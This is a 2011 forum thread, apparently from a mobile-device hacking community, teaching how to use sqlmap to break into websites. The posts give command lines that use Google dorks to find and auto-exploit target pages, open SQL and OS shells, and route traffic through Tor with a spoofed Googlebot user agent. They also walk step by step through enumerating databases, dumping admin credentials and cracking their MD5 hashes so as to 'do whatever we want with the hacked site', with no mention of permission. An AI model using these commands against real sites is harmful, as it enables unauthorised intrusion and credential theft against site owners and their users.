Author Topic: (Basic) SQLmap  (Read 3945 times)

Rawr girl

  • Sr. Member
  • ****
  • Posts: 332
  • Reputation: 13
  • Mmmm ex...ploit....tatiioooonnnn
  • Computers: iMac, macbook (2006), Dell Latitude E6400
  • iDevices: iPod touch 4G
(Basic) SQLmap
« on: August 09, 2011, 11:31:22 am »
How many of u have heard of "SQL injection?" ah I see a few hands raised... Good good. Well for all u ppl who didn't raise ur hand... SQL injection is a method of injecting SQL database code into a web site with SQL software.

If u do this by hand it's a depressing long process of usually failure. Buut... We has a lil tool that will make it quick and easy :)

It's called SQLmap.

After u download it from our repo, open up terminal and cd into /var/mobile/pentest/database/sqlmap


Once in there, u run SQLmap with python. For this tut I'll be showing u how to use google with SQLmap to search a site for a vulnerable page then auto exploit it
Type in python sqlmap.py --sql-shell -g "site:sitename.com ext:php"

Now this will tell SQLmap to search google for any pages on the target site that have the extension php and that when it successfully exploits a page, to open up an SQL database shell to execute SQL code on the site.

So now sit back and enjoy... :) it will inform u bout the attack as it goes on.
I highly suggest reading the SQLmap manual. It's well written and will help u to eventually get a metasploit shell on the server!
« Last Edit: August 09, 2011, 11:37:51 am by Rawr girl »

A12danrulz

  • Leader
  • Hero Member
  • *****
  • Posts: 4018
  • Reputation: 217
  • Badges:
Re: (Basic) SQLmap
« Reply #1 on: August 09, 2011, 11:55:11 am »
Add some useful SQL shell commands

Rawr girl

  • Sr. Member
  • ****
  • Posts: 332
  • Reputation: 13
  • Mmmm ex...ploit....tatiioooonnnn
  • Computers: iMac, macbook (2006), Dell Latitude E6400
  • iDevices: iPod touch 4G
Re: (Basic) SQLmap
« Reply #2 on: August 09, 2011, 01:25:13 pm »
I don't remember any :(

Rawr girl

  • Sr. Member
  • ****
  • Posts: 332
  • Reputation: 13
  • Mmmm ex...ploit....tatiioooonnnn
  • Computers: iMac, macbook (2006), Dell Latitude E6400
  • iDevices: iPod touch 4G
Re: (Basic) SQLmap
« Reply #3 on: August 09, 2011, 01:38:13 pm »
If u want to find all the database tables you use --dump-all instead of --sql-shell

And if u know enough about the sever u can use the --os-shell :)

lnfin8ty

  • Sr. Member
  • ****
  • Posts: 320
  • Reputation: 14
Re: (Basic) SQLmap
« Reply #4 on: August 09, 2011, 01:46:48 pm »
I believe you can use it with TOR as well with -tor. It's supposed to be used like:

~/sqlmap# ./sqlmap.py -u http://URL/index.php?cata_id=1 --dump-all –tor --user-agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"

So that it looks like a n anonymous google bot getting information from the website.

It's supposed to be THE tool for blind SQL injection too.
« Last Edit: August 09, 2011, 01:51:23 pm by lnfin8ty »

Don't like seeing ads? Click here to register!

Rawr girl

  • Sr. Member
  • ****
  • Posts: 332
  • Reputation: 13
  • Mmmm ex...ploit....tatiioooonnnn
  • Computers: iMac, macbook (2006), Dell Latitude E6400
  • iDevices: iPod touch 4G
Re: (Basic) SQLmap
« Reply #5 on: August 09, 2011, 01:50:37 pm »
Google ****s brix when ever I use -tor so I just have tor already on lol

lnfin8ty

  • Sr. Member
  • ****
  • Posts: 320
  • Reputation: 14
Re: (Basic) SQLmap
« Reply #6 on: August 09, 2011, 02:37:52 pm »
Yeah that looks a lot easier. Lol.

PaulBird

  • Sr. Member
  • ****
  • Posts: 485
  • Reputation: 5
  • Every problem is an opportunity in disguise
    • Google
  • Badges:
Re: (Basic) SQLmap
« Reply #7 on: August 09, 2011, 04:47:25 pm »
thnx for tutorial rawr girl :D
[Removed Image ;)]
« Last Edit: August 09, 2011, 09:32:23 pm by Admiral »
People Never Get The Flowers While They Can Still Smell Them

PaulBird

  • Sr. Member
  • ****
  • Posts: 485
  • Reputation: 5
  • Every problem is an opportunity in disguise
    • Google
  • Badges:
Re: (Basic) SQLmap
« Reply #8 on: August 09, 2011, 09:22:37 pm »
its NOT A MONKEY. its Jeramy Hilary Boob PhD.
^obv not a beatles fan :( :( :( :(
People Never Get The Flowers While They Can Still Smell Them

PaulBird

  • Sr. Member
  • ****
  • Posts: 485
  • Reputation: 5
  • Every problem is an opportunity in disguise
    • Google
  • Badges:
Re: (Basic) SQLmap
« Reply #9 on: August 09, 2011, 09:27:58 pm »
Not a good excuse haha, im 15, listen to rap. but love old stuff too :)

culture urself bro!
People Never Get The Flowers While They Can Still Smell Them

Don't like seeing ads? Click here to register!

PaulBird

  • Sr. Member
  • ****
  • Posts: 485
  • Reputation: 5
  • Every problem is an opportunity in disguise
    • Google
  • Badges:
Re: (Basic) SQLmap
« Reply #10 on: August 09, 2011, 10:10:00 pm »
lmao a mexican indian???
People Never Get The Flowers While They Can Still Smell Them

A3MIRAL

  • Leader
  • Hero Member
  • *****
  • Posts: 2899
  • Reputation: 105
  • A3MIRAL -- Reporting for Duty
    • A3MIRAL
  • Badges:
  • Computers: Dell XPS15 (6 GB ram, Core i7 @ 2.0 GHz, 750 GB HDD @ 7200 RPM)
  • iDevices: iPod touch 3G 32GB, iPhone 5 32GB
Re: (Basic) SQLmap
« Reply #11 on: August 09, 2011, 10:11:39 pm »
ok enough here too please

lnfin8ty

  • Sr. Member
  • ****
  • Posts: 320
  • Reputation: 14
Re: (Basic) SQLmap
« Reply #12 on: August 10, 2011, 08:56:00 am »
So, l've been checking this out. l think it's basically blind injection, but here is what l understand. Please correct any mistakes.
We start with:
./sqlmap.py -u http://yoursitehere.com/vulnerablefile (might be user.php?id=5)
lf it found the Database version continue with:

./sqlmap.py -u http://yoursitehere.com/user.php?id=5 --dbs
That should show every database on the target system

Now you have to use the ‘-D’ flag and pass it the name of the database you want to attack, also pass it the ‘- -tables’ flag to obtain the table names:

./sqlmap.py -u http://yoursitehere.com/user.php?id=5 -D databasename --tables

This should return you the tables of the database.

The last step is to obtain the column names of the table we want to use, if we want to check more tables we seperate them with a ‘,’

./sqlmap.py -u http://yoursitehere.com/user.php?id=5 -D databasename -T tablename --columns

This should give you the users table of columns.

The “final” step is to find the admin credentials and decrypt them.
Query range is specified with ‘- -start x’ and ‘- -stop y’.
Because the admin normally is stored in the first row of the table we use this command:

./sqlmap.py -u http://yoursitehere.com/user.php?id=5 -D databasename -T tablename -C colum1, column2 --dump

Then you should see the md5 hash which you take to an online decrypter or whatever.
We can now login and do whatever we want with the hacked site.

SQL helper is a nice tool for an automated attack, but until they port it to iphone, l think SQLmap is the way to go.

Rawr girl

  • Sr. Member
  • ****
  • Posts: 332
  • Reputation: 13
  • Mmmm ex...ploit....tatiioooonnnn
  • Computers: iMac, macbook (2006), Dell Latitude E6400
  • iDevices: iPod touch 4G
Re: (Basic) SQLmap
« Reply #13 on: August 13, 2011, 10:52:28 pm »
Whoa... U should make the advanced tut lol

lnfin8ty

  • Sr. Member
  • ****
  • Posts: 320
  • Reputation: 14
Re: (Basic) SQLmap
« Reply #14 on: August 14, 2011, 03:15:38 am »
Yeah Sorry Rawr girl,
From what l read l thought that was a basic example. I've got a good book on SQL injection and it goes over SQLmap and the advanced stuff is very deep.